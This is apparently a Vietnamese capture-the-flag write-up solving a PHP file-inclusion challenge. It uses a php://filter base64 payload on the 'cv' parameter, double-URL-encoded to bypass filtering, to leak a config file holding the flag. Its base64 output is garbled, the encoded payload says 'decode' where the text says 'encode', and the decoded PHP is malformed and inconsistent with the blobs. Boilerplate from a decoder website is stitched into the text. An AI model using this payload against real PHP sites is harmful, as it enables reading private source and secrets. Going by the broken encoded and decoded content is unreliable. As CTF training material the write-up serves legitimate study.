

John Smith

Professional doer

Male

1984/01/01 (37)

Coffee developer @Megaupload - 01/2010

Bed tester @YourMom's - 03/2011

Beer drinker @NearestBar - 10/2014

Thử với một vài payload thì thấy parameter cv có thể bị exploit như hình trên. Ở challenge này ta sẽ sử dụng payload

`php://filter/convert.base64-encode/resource=cv` để đọc file.

Tuy nhiên cần double encode để server chấp nhận request. Payload sẽ trở thành

`php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Ddecode%252Fresource%253Dcv`

PD9waHAKICAgY29uZiA9IFsKICAgICJmbGFnliAgICAgPT4gIlRoMXNJc1RoM0ZsNGchIiwKICAgICJob21IiAgICAgICAgPT4gJzxoMj5XZWxjbV2VsY29tZSBvbiBteSBwZXJzb25hbCB3ZWJzaXRIICE8L2Rpdt4nLAogICAgImN2iAgICAgICAgICA9PiBbCiAgICAgICJnZW5kZXIiICAgICAgPT4gdF++ICJDb2ZmZWUgZGV2ZWxvcGViEBNZWdhdBsb2FkIiwKICAgICAgICAgICJKyXRlIiAgICAgID0ICIwMs8yMDEwIgogICAgICAgIF0sCiAgICAgICAgWwogICAgICAgICAgInRpdGxiIiAgICAgPT4gIkJIZCB0ZXN0ZXIgQFlvdXJNb20neyIsCiAgICAgICICJCZWVylGRyaW5rZXIgQE5IYXJlc3RCYXliLAogICAgICAgICAgImRhdGUIICAgICAgPT4gIjEwLzwMTQiCiAgICAgICAgXQogICAgICBdCiAgICE++IFskICAgICAgImZpenN0bmFlZSIgICAgID0+ICJKb2hulwKICAgICAgImxhe3RuYW1IiAgICAgID0ICJTbWl0aCIsCiAgICAgICJwaG9uZSIgICAgICAgICAgICA9PiAiMDegMzMgNzEgMDAgMDEiLAogICAgICAibWFpbCIgICAgICAgPT4gImpvaG4uc2+++Icc8c3R5bGUgbWVkaWE9InNjcmVlbIIzU1NTsKICAgICAgfQogICAgICBuYXYgYS5hY3RpdmV7CiAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICA

Được đoạn code như hình trên. Encode nó bằng base64 nên chỉ cần decode lại.

```
E5IYXJlc3RCYXIIaogICAgICAgICAgICAgICAgPT4gljEwLzwMTQICIAgICAgICAgICAgICAgICAgICBdCIAgICBdLaogICAgICAgmNvbnRhY3QiICAgICAgID0+IFsKICAgICAgImZpcnN0bmFtZSIgICAgID0+ICJKb2huliwKICAgICAgImxhc3RuYW1liAgICAgID0+ICJTbWl0aCIsCiAgICAgICJwaG9uZSgICAgICAgICAgICA9PiAiMDEgMzMgNzEgMDAgMDEiLAogICAgICAgPT4glmpvaG4uc21pdGhAdGhlZ2FtZS5jb20iCiAgICBdLAogICAgImdsb2JhbF9zdHlsZSIgID0+Icc8c3R5bGUgbVVkaWE9lnNjcmVLbil+CiAgICAgIGJvZHI7CiAgICAgICAgYmFja2dyb3VuZDogcmdiKDlzMSwgMjMxLCAYMzEpOwogICAgICAgIGZvbnQtZmFtaWx5OiBUYWhvbWEsVmVyZGFuYSxTZWdvZSzYYW5zLXNlcmImOwogICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgfQogICAgICBkaXYjbWFpbnsKICAgICAgICBwYWRkaW5nOiAyMHB4lDEwchGh7CiAgICAgIH0KICAgICAgbmF2ewogICAgICAgIGJvcmlRlcjogMXB4IHNVbGlkIHJnYigxDExwMSwgMTAxKtsKICAgICAgICBmb250LXNpemU6IDA7CiAgICAgIH0KICAgICAgbmF2IGF7CiAgICAgICAgZm9udC1zaXplOiaxNHb4OwogICAgICAgIHbZGRpbmc6lDVweCAxMHB4OwogICAgICAgIGJveC1zaXppbmc6lGJvcmlRlc1ib3g7CiAgICAgICAgZGzGzGxheTogaW5saW5lWjsb2NrOwogICAgICAgIHrieHQtZGVjb3hdGlvbjogbm9uZTsKICAgICAgICBjb2xvcjogIzU1NTsKICAgICAgfQogICAgICBuXXYgY55hY3RpdmV7CiAgICAgICAgY29sb3l6CNmZmY7CiAgICAgICAgYmFja2dyb3VuZDogcmdiKDExOSwgMTM4LCAxNDQpOwogICAgICB9CiAgICAgIG5hdibBh0mhvdmyewogICAgICAgIGNvbG9yOiajZmZmOwogICAgICAgIGjhY2tncm91bmQ6IHJnYigxMTksIDEzOCwgMTQ0KTsKICAgICAgfQogICAgICBoMnsKICAgICAgICBtYXJnaW4tdG9wOjA7CiAgICAgIH0KICAgICAgPC9zdHlsZT4nCiAgXTsK
```

For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.

Source character set.

Decode each line separately (useful for when you have multiple entries).

Live mode ON Decodes in real-time as you type or paste (supports only the UTF-8 character set).

DECODE Decodes your data into the area below.

```
<?php
$conf = [
    "flag"      => "Th1sIsTh3Fl4gl",
    "home"      => '<h2>Welcome</h2>',
    <div>Welcome on my personal website !</div>',
    "cv"        => [
        "gender"   => true,
        "birth"    => 441759600,
        "jobs"     => [
            [
                "title"   => "Coffee developer @Megaupload",
                "date"    => "01/2010"
            ]
        ]
    ]
]
```

Decode thì nhận được flag như hình trên.